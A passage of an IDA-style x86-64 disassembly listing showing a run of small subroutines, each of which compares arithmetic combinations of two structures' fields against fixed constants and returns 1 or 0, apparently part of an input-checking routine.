.text:0000000000400A59 cvtss2sd xmm0, xmm0
.text:0000000000400A5D ucomisd xmm0, cs:qword_404C40
.text:0000000000400A65 jp short loc_400AA0
.text:0000000000400A67 ucomisd xmm0, cs:qword_404C40
.text:0000000000400A6F jnz short loc_400AA0
.text:0000000000400A71 mov rax, [rbp+var_8]
.text:0000000000400A75 movss xmm0, dword ptr [rax+0Ch]
.text:0000000000400A7A mov rax, [rbp+var_10]
.text:0000000000400A7E movss xmm1, dword ptr [rax+28h]
.text:0000000000400A83 divss xmm0, xmm1
.text:0000000000400A87 ucomiss xmm0, cs:dword_404C48
.text:0000000000400A8E jp short loc_400AA0
.text:0000000000400A90 ucomiss xmm0, cs:dword_404C48
.text:0000000000400A97 jnz short loc_400AA0
.text:0000000000400A99 mov eax, 1
.text:0000000000400A9E jmp short loc_400AA5
.text:0000000000400AA0 ; ---------------------------------------------------------------------------
.text:0000000000400AA0
.text:0000000000400AA0 loc_400AA0: ; CODE XREF: sub_400A37+2E↑j
.text:0000000000400AA0 ; sub_400A37+38↑j ...
.text:0000000000400AA0 mov eax, 0
.text:0000000000400AA5
.text:0000000000400AA5 loc_400AA5: ; CODE XREF: sub_400A37+67↑j
.text:0000000000400AA5 pop rbp
.text:0000000000400AA6 retn
.text:0000000000400AA6 ; } // starts at 400A37
.text:0000000000400AA6 sub_400A37 endp
.text:0000000000400AA6
.text:0000000000400AA7
.text:0000000000400AA7 ; =============== S U B R O U T I N E =======================================
.text:0000000000400AA7
.text:0000000000400AA7 ; Attributes: bp-based frame
.text:0000000000400AA7
.text:0000000000400AA7 sub_400AA7 proc near ; CODE XREF: sub_4036FC+391↓p
.text:0000000000400AA7
.text:0000000000400AA7 var_10 = qword ptr -10h
.text:0000000000400AA7 var_8 = qword ptr -8
.text:0000000000400AA7
.text:0000000000400AA7 ; __unwind {
.text:0000000000400AA7 push rbp
.text:0000000000400AA8 mov rbp, rsp
.text:0000000000400AAB mov [rbp+var_8], rdi
.text:0000000000400AAF mov [rbp+var_10], rsi
.text:0000000000400AB3 mov rax, [rbp+var_8]
.text:0000000000400AB7 mov eax, [rax+0Eh]
.text:0000000000400ABA mov rdx, [rbp+var_10]
.text:0000000000400ABE mov ecx, [rdx+26h]
.text:0000000000400AC1 cdq
.text:0000000000400AC2 idiv ecx
.text:0000000000400AC4 test eax, eax
.text:0000000000400AC6 jnz short loc_400AE7
.text:0000000000400AC8 mov rax, [rbp+var_8]
.text:0000000000400ACC mov edx, [rax+0Eh]
.text:0000000000400ACF mov rax, [rbp+var_10]
.text:0000000000400AD3 mov eax, [rax+26h]
.text:0000000000400AD6 imul eax, edx
.text:0000000000400AD9 cmp eax, 0D67E156Eh
.text:0000000000400ADE jnz short loc_400AE7
.text:0000000000400AE0 mov eax, 1
.text:0000000000400AE5 jmp short loc_400AEC
.text:0000000000400AE7 ; ---------------------------------------------------------------------------
.text:0000000000400AE7
.text:0000000000400AE7 loc_400AE7: ; CODE XREF: sub_400AA7+1F↑j
.text:0000000000400AE7 ; sub_400AA7+37↑j
.text:0000000000400AE7 mov eax, 0
.text:0000000000400AEC
.text:0000000000400AEC loc_400AEC: ; CODE XREF: sub_400AA7+3E↑j
.text:0000000000400AEC pop rbp
.text:0000000000400AED retn
.text:0000000000400AED ; } // starts at 400AA7
.text:0000000000400AED sub_400AA7 endp
.text:0000000000400AED
.text:0000000000400AEE
.text:0000000000400AEE ; =============== S U B R O U T I N E =======================================
.text:0000000000400AEE
.text:0000000000400AEE ; Attributes: bp-based frame
.text:0000000000400AEE
.text:0000000000400AEE sub_400AEE proc near ; CODE XREF: sub_4036FC+3B0↓p
.text:0000000000400AEE
.text:0000000000400AEE var_10 = qword ptr -10h
.text:0000000000400AEE var_8 = qword ptr -8
.text:0000000000400AEE
.text:0000000000400AEE ; __unwind {
.text:0000000000400AEE push rbp
.text:0000000000400AEF mov rbp, rsp
.text:0000000000400AF2 mov [rbp+var_8], rdi
.text:0000000000400AF6 mov [rbp+var_10], rsi
.text:0000000000400AFA mov rax, [rbp+var_8]
.text:0000000000400AFE movzx eax, word ptr [rax+12h]
.text:0000000000400B02 mov edx, eax
.text:0000000000400B04 mov rax, [rbp+var_10]
.text:0000000000400B08 movzx eax, word ptr [rax+2]
.text:0000000000400B0C imul eax, edx
.text:0000000000400B0F cmp ax, 0FC14h
.text:0000000000400B13 jnz short loc_400B38
.text:0000000000400B15 mov rax, [rbp+var_8]
.text:0000000000400B19 movzx eax, word ptr [rax+12h]
.text:0000000000400B1D mov edx, eax
.text:0000000000400B1F mov rax, [rbp+var_10]
.text:0000000000400B23 movzx eax, word ptr [rax+2]
.text:0000000000400B27 sub edx, eax
.text:0000000000400B29 mov eax, edx
.text:0000000000400B2B cmp ax, 0BAE9h
.text:0000000000400B2F jnz short loc_400B38
.text:0000000000400B31 mov eax, 1
.text:0000000000400B36 jmp short loc_400B3D
.text:0000000000400B38 ; ---------------------------------------------------------------------------
.text:0000000000400B38
.text:0000000000400B38 loc_400B38: ; CODE XREF: sub_400AEE+25↑j
.text:0000000000400B38 ; sub_400AEE+41↑j
.text:0000000000400B38 mov eax, 0
.text:0000000000400B3D
.text:0000000000400B3D loc_400B3D: ; CODE XREF: sub_400AEE+48↑j
.text:0000000000400B3D pop rbp
.text:0000000000400B3E retn
.text:0000000000400B3E ; } // starts at 400AEE
.text:0000000000400B3E sub_400AEE endp
.text:0000000000400B3E
.text:0000000000400B3F
.text:0000000000400B3F ; =============== S U B R O U T I N E =======================================
.text:0000000000400B3F
.text:0000000000400B3F ; Attributes: bp-based frame
.text:0000000000400B3F
.text:0000000000400B3F sub_400B3F proc near ; CODE XREF: sub_4036FC+3CF↓p
.text:0000000000400B3F
.text:0000000000400B3F var_10 = qword ptr -10h
.text:0000000000400B3F var_8 = qword ptr -8
.text:0000000000400B3F
.text:0000000000400B3F ; __unwind {
.text:0000000000400B3F push rbp
.text:0000000000400B40 mov rbp, rsp
.text:0000000000400B43 mov [rbp+var_8], rdi
.text:0000000000400B47 mov [rbp+var_10], rsi
.text:0000000000400B4B mov rax, [rbp+var_8]
.text:0000000000400B4F movzx eax, byte ptr [rax+10h]
.text:0000000000400B53 mov edx, eax
.text:0000000000400B55 mov rax, [rbp+var_10]
.text:0000000000400B59 movzx eax, byte ptr [rax+2]
.text:0000000000400B5D sub edx, eax
.text:0000000000400B5F mov eax, edx
.text:0000000000400B61 cmp al, 0E9h
.text:0000000000400B63 jnz short loc_400B89
.text:0000000000400B65 mov rax, [rbp+var_8]
.text:0000000000400B69 movzx eax, byte ptr [rax+10h]
.text:0000000000400B6D movsx eax, al
.text:0000000000400B70 mov rdx, [rbp+var_10]
.text:0000000000400B74 movzx edx, byte ptr [rdx+2]
.text:0000000000400B78 movsx ecx, dl
.text:0000000000400B7B cdq
.text:0000000000400B7C idiv ecx
.text:0000000000400B7E test al, al
.text:0000000000400B80 jnz short loc_400B89
.text:0000000000400B82 mov eax, 1
.text:0000000000400B87 jmp short loc_400B8E
.text:0000000000400B89 ; ---------------------------------------------------------------------------
.text:0000000000400B89
.text:0000000000400B89 loc_400B89: ; CODE XREF: sub_400B3F+24↑j
.text:0000000000400B89 ; sub_400B3F+41↑j
.text:0000000000400B89 mov eax, 0
.text:0000000000400B8E
.text:0000000000400B8E loc_400B8E: ; CODE XREF: sub_400B3F+48↑j
.text:0000000000400B8E pop rbp
.text:0000000000400B8F retn
.text:0000000000400B8F ; } // starts at 400B3F
.text:0000000000400B8F sub_400B3F endp
.text:0000000000400B8F
.text:0000000000400B90
.text:0000000000400B90 ; =============== S U B R O U T I N E =======================================
.text:0000000000400B90
.text:0000000000400B90 ; Attributes: bp-based frame
.text:0000000000400B90
.text:0000000000400B90 sub_400B90 proc near ; CODE XREF: sub_4036FC+3EE↓p
.text:0000000000400B90
.text:0000000000400B90 var_10 = qword ptr -10h
.text:0000000000400B90 var_8 = qword ptr -8
.text:0000000000400B90
.text:0000000000400B90 ; __unwind {
.text:0000000000400B90 push rbp
.text:0000000000400B91 mov rbp, rsp
.text:0000000000400B94 mov [rbp+var_8], rdi
.text:0000000000400B98 mov [rbp+var_10], rsi
.text:0000000000400B9C mov rax, [rbp+var_8]
.text:0000000000400BA0 movzx eax, byte ptr [rax+11h]
.text:0000000000400BA4 mov edx, eax
.text:0000000000400BA6 mov rax, [rbp+var_10]
.text:0000000000400BAA movzx eax, byte ptr [rax+3]
.text:0000000000400BAE add eax, edx
.text:0000000000400BB0 cmp al, 9Fh
.text:0000000000400BB2 jnz short loc_400BD8
.text:0000000000400BB4 mov rax, [rbp+var_8]
.text:0000000000400BB8 movzx eax, byte ptr [rax+11h]
.text:0000000000400BBC mov ecx, eax
.text:0000000000400BBE mov rax, [rbp+var_10]
.text:0000000000400BC2 movzx eax, byte ptr [rax+3]
.text:0000000000400BC6 mov edx, eax
.text:0000000000400BC8 mov eax, ecx
.text:0000000000400BCA imul eax, edx
.text:0000000000400BCD cmp al, 0Ah
.text:0000000000400BCF jnz short loc_400BD8
.text:0000000000400BD1 mov eax, 1
.text:0000000000400BD6 jmp short loc_400BDD
.text:0000000000400BD8 ; ---------------------------------------------------------------------------
.text:0000000000400BD8
.text:0000000000400BD8 loc_400BD8: ; CODE XREF: sub_400B90+22↑j
.text:0000000000400BD8 ; sub_400B90+3F↑j
.text:0000000000400BD8 mov eax, 0
.text:0000000000400BDD
.text:0000000000400BDD loc_400BDD: ; CODE XREF: sub_400B90+46↑j
.text:0000000000400BDD pop rbp
.text:0000000000400BDE retn
.text:0000000000400BDE ; } // starts at 400B90
.text:0000000000400BDE sub_400B90 endp
.text:0000000000400BDE
.text:0000000000400BDF
.text:0000000000400BDF ; =============== S U B R O U T I N E =======================================
.text:0000000000400BDF
.text:0000000000400BDF ; Attributes: bp-based frame
.text:0000000000400BDF
.text:0000000000400BDF sub_400BDF proc near ; CODE XREF: sub_4036FC+40D↓p
.text:0000000000400BDF
.text:0000000000400BDF var_10 = qword ptr -10h
.text:0000000000400BDF var_8 = qword ptr -8
.text:0000000000400BDF
.text:0000000000400BDF ; __unwind {
.text:0000000000400BDF push rbp
.text:0000000000400BE0 mov rbp, rsp
.text:0000000000400BE3 mov [rbp+var_8], rdi
.text:0000000000400BE7 mov [rbp+var_10], rsi
.text:0000000000400BEB mov rax, [rbp+var_8]
.text:0000000000400BEF movzx eax, word ptr [rax+12h]
.text:0000000000400BF3 cwde
.text:0000000000400BF4 mov rdx, [rbp+var_10]
.text:0000000000400BF8 movzx edx, word ptr [rdx+16h]
.text:0000000000400BFC movsx ecx, dx
.text:0000000000400BFF cdq
.text:0000000000400C00 idiv ecx
.text:0000000000400C02 test ax, ax
.text:0000000000400C05 jnz short loc_400C28
.text:0000000000400C07 mov rax, [rbp+var_8]
.text:0000000000400C0B movzx eax, word ptr [rax+12h]
.text:0000000000400C0F mov edx, eax
.text:0000000000400C11 mov rax, [rbp+var_10]
.text:0000000000400C15 movzx eax, word ptr [rax+16h]
.text:0000000000400C19 add eax, edx
.text:0000000000400C1B cmp ax, 99B9h
.text:0000000000400C1F jnz short loc_400C28
.text:0000000000400C21 mov eax, 1
.text:0000000000400C26 jmp short loc_400C2D
.text:0000000000400C28 ; ---------------------------------------------------------------------------
.text:0000000000400C28
.text:0000000000400C28 loc_400C28: ; CODE XREF: sub_400BDF+26↑j
.text:0000000000400C28 ; sub_400BDF+40↑j
.text:0000000000400C28 mov eax, 0
.text:0000000000400C2D
.text:0000000000400C2D loc_400C2D: ; CODE XREF: sub_400BDF+47↑j
.text:0000000000400C2D pop rbp
.text:0000000000400C2E retn
.text:0000000000400C2E ; } // starts at 400BDF
.text:0000000000400C2E sub_400BDF endp
.text:0000000000400C2E
.text:0000000000400C2F
.text:0000000000400C2F ; =============== S U B R O U T I N E =======================================
.text:0000000000400C2F
.text:0000000000400C2F ; Attributes: bp-based frame
.text:0000000000400C2F
.text:0000000000400C2F sub_400C2F proc near ; CODE XREF: sub_4036FC+42C↓p
.text:0000000000400C2F
.text:0000000000400C2F var_10 = qword ptr -10h
.text:0000000000400C2F var_8 = qword ptr -8
.text:0000000000400C2F
.text:0000000000400C2F ; __unwind {
.text:0000000000400C2F push rbp
.text:0000000000400C30 mov rbp, rsp
.text:0000000000400C33 mov [rbp+var_8], rdi
.text:0000000000400C37 mov [rbp+var_10], rsi
.text:0000000000400C3B mov rax, [rbp+var_8]
.text:0000000000400C3F mov edx, [rax+14h]
.text:0000000000400C42 mov rax, [rbp+var_10]
.text:0000000000400C46 mov eax, [rax+2Eh]
.text:0000000000400C49 sub edx, eax
.text:0000000000400C4B mov eax, edx
.text:0000000000400C4D cmp eax, 6C473B1Fh
.text:0000000000400C52 jnz short loc_400C73
.text:0000000000400C54 mov rax, [rbp+var_8]
.text:0000000000400C58 mov eax, [rax+14h]
.text:0000000000400C5B mov rdx, [rbp+var_10]
.text:0000000000400C5F mov ecx, [rdx+2Eh]
.text:0000000000400C62 cdq
.text:0000000000400C63 idiv ecx
.text:0000000000400C65 cmp eax, 2EAh
.text:0000000000400C6A jnz short loc_400C73
.text:0000000000400C6C mov eax, 1
.text:0000000000400C71 jmp short loc_400C78
.text:0000000000400C73 ; ---------------------------------------------------------------------------
.text:0000000000400C73
.text:0000000000400C73 loc_400C73: ; CODE XREF: sub_400C2F+23↑j
.text:0000000000400C73 ; sub_400C2F+3B↑j
.text:0000000000400C73 mov eax, 0
.text:0000000000400C78
.text:0000000000400C78 loc_400C78: ; CODE XREF: sub_400C2F+42↑j
.text:0000000000400C78 pop rbp
.text:0000000000400C79 retn
.text:0000000000400C79 ; } // starts at 400C2F
.text:0000000000400C79 sub_400C2F endp
.text:0000000000400C79
.text:0000000000400C7A
.text:0000000000400C7A ; =============== S U B R O U T I N E =======================================
.text:0000000000400C7A
.text:0000000000400C7A ; Attributes: bp-based frame
.text:0000000000400C7A
.text:0000000000400C7A sub_400C7A proc near ; CODE XREF: sub_4036FC+44B↓p
.text:0000000000400C7A
.text:0000000000400C7A var_10 = qword ptr -10h
.text:0000000000400C7A var_8 = qword ptr -8
.text:0000000000400C7A
.text:0000000000400C7A ; __unwind {
.text:0000000000400C7A push rbp
.text:0000000000400C7B mov rbp, rsp
.text:0000000000400C7E mov [rbp+var_8], rdi
.text:0000000000400C82 mov [rbp+var_10], rsi
.text:0000000000400C86 mov rax, [rbp+var_8]
.text:0000000000400C8A movzx eax, word ptr [rax+14h]
.text:0000000000400C8E mov edx, eax
.text:0000000000400C90 mov rax, [rbp+var_10]
.text:0000000000400C94 movzx eax, word ptr [rax+2Ah]
.text:0000000000400C98 add eax, edx
.text:0000000000400C9A cmp ax, 73BFh
.text:0000000000400C9E jnz short loc_400CC3
.text:0000000000400CA0 mov rax, [rbp+var_8]
.text:0000000000400CA4 movzx eax, word ptr [rax+14h]
.text:0000000000400CA8 mov edx, eax
.text:0000000000400CAA mov rax, [rbp+var_10]
.text:0000000000400CAE movzx eax, word ptr [rax+2Ah]
.text:0000000000400CB2 sub edx, eax
.text:0000000000400CB4 mov eax, edx
.text:0000000000400CB6 cmp ax, 5EDBh
.text:0000000000400CBA jnz short loc_400CC3
.text:0000000000400CBC mov eax, 1
.text:0000000000400CC1 jmp short loc_400CC8
.text:0000000000400CC3 ; ---------------------------------------------------------------------------
.text:0000000000400CC3
.text:0000000000400CC3 loc_400CC3: ; CODE XREF: sub_400C7A+24↑j
.text:0000000000400CC3 ; sub_400C7A+40↑j
.text:0000000000400CC3 mov eax, 0
.text:0000000000400CC8
.text:0000000000400CC8 loc_400CC8: ; CODE XREF: sub_400C7A+47↑j
.text:0000000000400CC8 pop rbp
.text:0000000000400CC9 retn
.text:0000000000400CC9 ; } // starts at 400C7A
.text:0000000000400CC9 sub_400C7A endp
.text:0000000000400CC9
.text:0000000000400CCA
.text:0000000000400CCA ; =============== S U B R O U T I N E =======================================
.text:0000000000400CCA
.text:0000000000400CCA ; Attributes: bp-based frame
.text:0000000000400CCA
.text:0000000000400CCA sub_400CCA proc near ; CODE XREF: sub_4036FC+46A↓p
.text:0000000000400CCA
.text:0000000000400CCA var_10 = qword ptr -10h
.text:0000000000400CCA var_8 = qword ptr -8
.text:0000000000400CCA
.text:0000000000400CCA ; __unwind {
.text:0000000000400CCA push rbp
.text:0000000000400CCB mov rbp, rsp
.text:0000000000400CCE mov [rbp+var_8], rdi
.text:0000000000400CD2 mov [rbp+var_10], rsi
.text:0000000000400CD6 mov rax, [rbp+var_8]
.text:0000000000400CDA movss xmm1, dword ptr [rax+1Ah]
.text:0000000000400CDF mov rax, [rbp+var_10]
.text:0000000000400CE3 movss xmm0, dword ptr [rax+1Eh]
.text:0000000000400CE8 addss xmm0, xmm1
.text:0000000000400CEC ucomiss xmm0, cs:dword_404C4C
.text:0000000000400CF3 jp short loc_400D2D
.text:0000000000400CF5 ucomiss xmm0, cs:dword_404C4C
.text:0000000000400CFC jnz short loc_400D2D
.text:0000000000400CFE mov rax, [rbp+var_8]
.text:0000000000400D02 movss xmm1, dword ptr [rax+1Ah]
.text:0000000000400D07 mov rax, [rbp+var_10]
.text:0000000000400D0B movss xmm0, dword ptr [rax+1Eh]
.text:0000000000400D10 mulss xmm0, xmm1
.text:0000000000400D14 ucomiss xmm0, cs:dword_404C50
.text:0000000000400D1B jp short loc_400D2D
.text:0000000000400D1D ucomiss xmm0, cs:dword_404C50
.text:0000000000400D24 jnz short loc_400D2D
.text:0000000000400D26 mov eax, 1
.text:0000000000400D2B jmp short loc_400D32
.text:0000000000400D2D ; ---------------------------------------------------------------------------
.text:0000000000400D2D
.text:0000000000400D2D loc_400D2D: ; CODE XREF: sub_400CCA+29↑j
.text:0000000000400D2D ; sub_400CCA+32↑j ...
.text:0000000000400D2D mov eax, 0
.text:0000000000400D32
.text:0000000000400D32 loc_400D32: ; CODE XREF: sub_400CCA+61↑j
.text:0000000000400D32 pop rbp
.text:0000000000400D33 retn
.text:0000000000400D33 ; } // starts at 400CCA
.text:0000000000400D33 sub_400CCA endp
.text:0000000000400D33
.text:0000000000400D34
.text:0000000000400D34 ; =============== S U B R O U T I N E =======================================
.text:0000000000400D34
.text:0000000000400D34 ; Attributes: bp-based frame
.text:0000000000400D34
.text:0000000000400D34 sub_400D34 proc near ; CODE XREF: sub_4036FC+489↓p
.text:0000000000400D34
.text:0000000000400D34 var_10 = qword ptr -10h
.text:0000000000400D34 var_8 = qword ptr -8
.text:0000000000400D34
.text:0000000000400D34 ; __unwind {
.text:0000000000400D34 push rbp
.text:0000000000400D35 mov rbp, rsp
.text:0000000000400D38 mov [rbp+var_8], rdi
.text:0000000000400D3C mov [rbp+var_10], rsi
.text:0000000000400D40 mov rax, [rbp+var_8]
.text:0000000000400D44 movss xmm1, dword ptr [rax+22h]
.text:0000000000400D49 mov rax, [rbp+var_10]
.text:0000000000400D4D movss xmm0, dword ptr [rax+2Ch]
.text:0000000000400D52 mulss xmm0, xmm1
.text:0000000000400D56 ucomiss xmm0, cs:dword_404C54
.text:0000000000400D5D jp short loc_400D8E
.text:0000000000400D5F ucomiss xmm0, cs:dword_404C54
.text:0000000000400D66 jnz short loc_400D8E
.text:0000000000400D68 mov rax, [rbp+var_8]
.text:0000000000400D6C movss xmm0, dword ptr [rax+22h]
.text:0000000000400D71 mov rax, [rbp+var_10]
.text:0000000000400D75 movss xmm1, dword ptr [rax+2Ch]
.text:0000000000400D7A divss xmm0, xmm1
.text:0000000000400D7E ucomiss xmm0, cs:dword_404C58
.text:0000000000400D85 jbe short loc_400D8E
.text:0000000000400D87 mov eax, 1
.text:0000000000400D8C jmp short loc_400D93
.text:0000000000400D8E ; ---------------------------------------------------------------------------
.text:0000000000400D8E
.text:0000000000400D8E loc_400D8E: ; CODE XREF: sub_400D34+29↑j
.text:0000000000400D8E ; sub_400D34+32↑j ...
.text:0000000000400D8E mov eax, 0
.text:0000000000400D93
.text:0000000000400D93 loc_400D93: ; CODE XREF: sub_400D34+58↑j
.text:0000000000400D93 pop rbp
.text:0000000000400D94 retn
.text:0000000000400D94 ; } // starts at 400D34
.text:0000000000400D94 sub_400D34 endp
.text:0000000000400D94
.text:0000000000400D95
.text:0000000000400D95 ; =============== S U B R O U T I N E =======================================
.text:0000000000400D95
.text:0000000000400D95 ; Attributes: bp-based frame
.text:0000000000400D95
.text:0000000000400D95 sub_400D95 proc near ; CODE XREF: sub_4036FC+4A8↓p
.text:0000000000400D95
.text:0000000000400D95 var_10 = qword ptr -10h
.text:0000000000400D95 var_8 = qword ptr -8
.text:0000000000400D95
.text:0000000000400D95 ; __unwind {
.text:0000000000400D95 push rbp
.text:0000000000400D96 mov rbp, rsp
.text:0000000000400D99 mov [rbp+var_8], rdi
.text:0000000000400D9D mov [rbp+var_10], rsi
.text:0000000000400DA1 mov rax, [rbp+var_8]
.text:0000000000400DA5 movzx eax, word ptr [rax+26h]
.text:0000000000400DA9 mov edx, eax
.text:0000000000400DAB mov rax, [rbp+var_10]
.text:0000000000400DAF movzx eax, word ptr [rax+18h]
.text:0000000000400DB3 add eax, edx
.text:0000000000400DB5 cmp ax, 0DFC6h
.text:0000000000400DB9 jnz short loc_400DDE
.text:0000000000400DBB mov rax, [rbp+var_8]
.text:0000000000400DBF movzx eax, word ptr [rax+26h]
.text:0000000000400DC3 cwde
.text:0000000000400DC4 mov rdx, [rbp+var_10]
.text:0000000000400DC8 movzx edx, word ptr [rdx+18h]
.text:0000000000400DCC movsx ecx, dx
.text:0000000000400DCF cdq
.text:0000000000400DD0 idiv ecx
.text:0000000000400DD2 test ax, ax
.text:0000000000400DD5 jnz short loc_400DDE
.text:0000000000400DD7 mov eax, 1
.text:0000000000400DDC jmp short loc_400DE3
.text:0000000000400DDE ; ---------------------------------------------------------------------------
.text:0000000000400DDE
.text:0000000000400DDE loc_400DDE: ; CODE XREF: sub_400D95+24↑j
.text:0000000000400DDE ; sub_400D95+40↑j
.text:0000000000400DDE mov eax, 0
.text:0000000000400DE3
.text:0000000000400DE3 loc_400DE3: ; CODE XREF: sub_400D95+47↑j
.text:0000000000400DE3 pop rbp
.text:0000000000400DE4 retn
.text:0000000000400DE4 ; } // starts at 400D95
.text:0000000000400DE4 sub_400D95 endp
.text:0000000000400DE4
.text:0000000000400DE5
.text:0000000000400DE5 ; =============== S U B R O U T I N E =======================================
.text:0000000000400DE5
.text:0000000000400DE5 ; Attributes: bp-based frame
.text:0000000000400DE5
.text:0000000000400DE5 sub_400DE5 proc near ; CODE XREF: sub_4036FC+4C7↓p
.text:0000000000400DE5
.text:0000000000400DE5 var_10 = qword ptr -10h
.text:0000000000400DE5 var_8 = qword ptr -8
.text:0000000000400DE5
.text:0000000000400DE5 ; __unwind {
.text:0000000000400DE5 push rbp
.text:0000000000400DE6 mov rbp, rsp
.text:0000000000400DE9 mov [rbp+var_8], rdi
.text:0000000000400DED mov [rbp+var_10], rsi
.text:0000000000400DF1 mov rax, [rbp+var_8]
.text:0000000000400DF5 movss xmm1, dword ptr [rax+18h]
.text:0000000000400DFA mov rax, [rbp+var_10]
.text:0000000000400DFE movss xmm0, dword ptr [rax+36h]
.text:0000000000400E03 mulss xmm0, xmm1
.text:0000000000400E07 ucomiss xmm0, cs:dword_404C5C
.text:0000000000400E0E jp short loc_400E48
.text:0000000000400E10 ucomiss xmm0, cs:dword_404C5C
.text:0000000000400E17 jnz short loc_400E48
.text:0000000000400E19 mov rax, [rbp+var_8]
.text:0000000000400E1D movss xmm1, dword ptr [rax+18h]
.text:0000000000400E22 mov rax, [rbp+var_10]
.text:0000000000400E26 movss xmm0, dword ptr [rax+36h]
.text:0000000000400E2B addss xmm0, xmm1
.text:0000000000400E2F ucomiss xmm0, cs:dword_404C60
.text:0000000000400E36 jp short loc_400E48
.text:0000000000400E38 ucomiss xmm0, cs:dword_404C60
.text:0000000000400E3F jnz short loc_400E48
.text:0000000000400E41 mov eax, 1
.text:0000000000400E46 jmp short loc_400E4D
.text:0000000000400E48 ; ---------------------------------------------------------------------------
.text:0000000000400E48
.text:0000000000400E48 loc_400E48: ; CODE XREF: sub_400DE5+29↑j
.text:0000000000400E48 ; sub_400DE5+32↑j ...
.text:0000000000400E48 mov eax, 0
.text:0000000000400E4D
.text:0000000000400E4D loc_400E4D: ; CODE XREF: sub_400DE5+61↑j
.text:0000000000400E4D pop rbp
.text:0000000000400E4E retn
.text:0000000000400E4E ; } // starts at 400DE5
.text:0000000000400E4E sub_400DE5 endp
.text:0000000000400E4E
.text:0000000000400E4F
.text:0000000000400E4F ; =============== S U B R O U T I N E =======================================
.text:0000000000400E4F
.text:0000000000400E4F ; Attributes: bp-based frame
.text:0000000000400E4F
.text:0000000000400E4F sub_400E4F proc near ; CODE XREF: sub_4036FC+4E6↓p
.text:0000000000400E4F
.text:0000000000400E4F var_10 = qword ptr -10h
.text:0000000000400E4F var_8 = qword ptr -8
.text:0000000000400E4F
.text:0000000000400E4F ; __unwind {
.text:0000000000400E4F push rbp
.text:0000000000400E50 mov rbp, rsp
.text:0000000000400E53 mov [rbp+var_8], rdi
.text:0000000000400E57 mov [rbp+var_10], rsi
.text:0000000000400E5B mov rax, [rbp+var_8]
.text:0000000000400E5F movzx edx, word ptr [rax+1Ch]
.text:0000000000400E63 mov rax, [rbp+var_10]
.text:0000000000400E67 movzx eax, word ptr [rax+1Eh]
.text:0000000000400E6B cmp dx, ax
.text:0000000000400E6E jnz short loc_400E94
.text:0000000000400E70 mov rax, [rbp+var_8]
.text:0000000000400E74 movzx eax, word ptr [rax+1Ch]
.text:0000000000400E78 cwde
.text:0000000000400E79 mov rdx, [rbp+var_10]
.text:0000000000400E7D movzx edx, word ptr [rdx+1Eh]
.text:0000000000400E81 movsx ecx, dx
.text:0000000000400E84 cdq
.text:0000000000400E85 idiv ecx
.text:0000000000400E87 cmp ax, 1
.text:0000000000400E8B jnz short loc_400E94
.text:0000000000400E8D mov eax, 1
.text:0000000000400E92 jmp short loc_400E99
.text:0000000000400E94 ; ---------------------------------------------------------------------------
.text:0000000000400E94
.text:0000000000400E94 loc_400E94: ; CODE XREF: sub_400E4F+1F↑j
.text:0000000000400E94 ; sub_400E4F+3C↑j
.text:0000000000400E94 mov eax, 0
.text:0000000000400E99
.text:0000000000400E99 loc_400E99: ; CODE XREF: sub_400E4F+43↑j
.text:0000000000400E99 pop rbp
.text:0000000000400E9A retn
.text:0000000000400E9A ; } // starts at 400E4F
.text:0000000000400E9A sub_400E4F endp
.text:0000000000400E9A
.text:0000000000400E9B
.text:0000000000400E9B ; =============== S U B R O U T I N E =======================================
.text:0000000000400E9B
.text:0000000000400E9B ; Attributes: bp-based frame
.text:0000000000400E9B
.text:0000000000400E9B sub_400E9B proc near ; CODE XREF: sub_4036FC+505↓p
.text:0000000000400E9B
.text:0000000000400E9B var_10 = qword ptr -10h
.text:0000000000400E9B var_8 = qword ptr -8
.text:0000000000400E9B
.text:0000000000400E9B ; __unwind {
.text:0000000000400E9B push rbp
.text:0000000000400E9C mov rbp, rsp
.text:0000000000400E9F mov [rbp+var_8], rdi
.text:0000000000400EA3 mov [rbp+var_10], rsi
.text:0000000000400EA7 mov rax, [rbp+var_8]
.text:0000000000400EAB movss xmm1, dword ptr [rax+32h]
.text:0000000000400EB0 mov rax, [rbp+var_10]
.text:0000000000400EB4 movss xmm0, dword ptr [rax+60h]
.text:0000000000400EB9 addss xmm0, xmm1
.text:0000000000400EBD ucomiss xmm0, cs:dword_404C64
.text:0000000000400EC4 jp short loc_400EFE
.text:0000000000400EC6 ucomiss xmm0, cs:dword_404C64
.text:0000000000400ECD jnz short loc_400EFE
.text:0000000000400ECF mov rax, [rbp+var_8]
.text:0000000000400ED3 movss xmm0, dword ptr [rax+32h]
.text:0000000000400ED8 mov rax, [rbp+var_10]
.text:0000000000400EDC movss xmm1, dword ptr [rax+60h]
.text:0000000000400EE1 divss xmm0, xmm1
.text:0000000000400EE5 ucomiss xmm0, cs:dword_404C68
.text:0000000000400EEC jp short loc_400EFE
.text:0000000000400EEE ucomiss xmm0, cs:dword_404C68
.text:0000000000400EF5 jnz short loc_400EFE
.text:0000000000400EF7 mov eax, 1
.text:0000000000400EFC jmp short loc_400F03
.text:0000000000400EFE ; ---------------------------------------------------------------------------
.text:0000000000400EFE
.text:0000000000400EFE loc_400EFE: ; CODE XREF: sub_400E9B+29↑j
.text:0000000000400EFE ; sub_400E9B+32↑j ...
.text:0000000000400EFE mov eax, 0
.text:0000000000400F03
.text:0000000000400F03 loc_400F03: ; CODE XREF: sub_400E9B+61↑j
.text:0000000000400F03 pop rbp
.text:0000000000400F04 retn
.text:0000000000400F04 ; } // starts at 400E9B
.text:0000000000400F04 sub_400E9B endp
.text:0000000000400F04
.text:0000000000400F05
.text:0000000000400F05 ; =============== S U B R O U T I N E =======================================
.text:0000000000400F05
.text:0000000000400F05 ; Attributes: bp-based frame
.text:0000000000400F05
.text:0000000000400F05 sub_400F05 proc near ; CODE XREF: sub_4036FC+524↓p
.text:0000000000400F05
.text:0000000000400F05 var_10 = qword ptr -10h
.text:0000000000400F05 var_8 = qword ptr -8
.text:0000000000400F05
.text:0000000000400F05 ; __unwind {
.text:0000000000400F05 push rbp
.text:0000000000400F06 mov rbp, rsp
.text:0000000000400F09 mov [rbp+var_8], rdi
.text:0000000000400F0D mov [rbp+var_10], rsi
.text:0000000000400F11 mov rax, [rbp+var_8]
.text:0000000000400F15 movss xmm1, dword ptr [rax+32h]
.text:0000000000400F1A mov rax, [rbp+var_10]
.text:0000000000400F1E movss xmm0, dword ptr [rax+68h]
.text:0000000000400F23 mulss xmm0, xmm1
.text:0000000000400F27 ucomiss xmm0, cs:dword_404C6C
.text:0000000000400F2E jp short loc_400F68
.text:0000000000400F30 ucomiss xmm0, cs:dword_404C6C
.text:0000000000400F37 jnz short loc_400F68
